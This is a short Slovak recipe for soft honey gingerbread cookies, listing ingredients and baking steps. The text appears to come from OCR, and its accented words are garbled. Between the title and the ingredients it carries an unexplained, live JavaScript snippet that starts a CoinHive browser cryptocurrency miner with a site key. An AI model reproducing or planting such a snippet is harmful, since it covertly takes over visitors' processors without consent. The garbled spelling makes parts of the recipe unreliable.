Medovni¢ky hned makké

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Potrebujeme: 160 g medu, 160 g kryStalového cukru, 120 g Hery, 500 g muky Promix PK, 1
ML sédy bikarbony, 1/2 ML mletej Skorice, 1/2 ML pernikového korenia, 2 vajcia

Postup: Med, cukor a Heru nechame zovriet. Miku zmieSame so sédou bikarbénou a skoricou.
Pridame tro$ku vychladnutd medova zmes a zamieSame. Do nie Uplne vychladnutej masy
pridame vajicka. Spracujeme cesto, ktoré zabalime a nechame ho odpocivat aspor 2 hodiny.
Potom ho vyvalkdme na 5 mm a vykrajujeme rézne tvary. Dame piect do vyhriatej rary 175°C
na 10 minut a minatku pred dopecenim potrieme roz&fahanym vajickom.




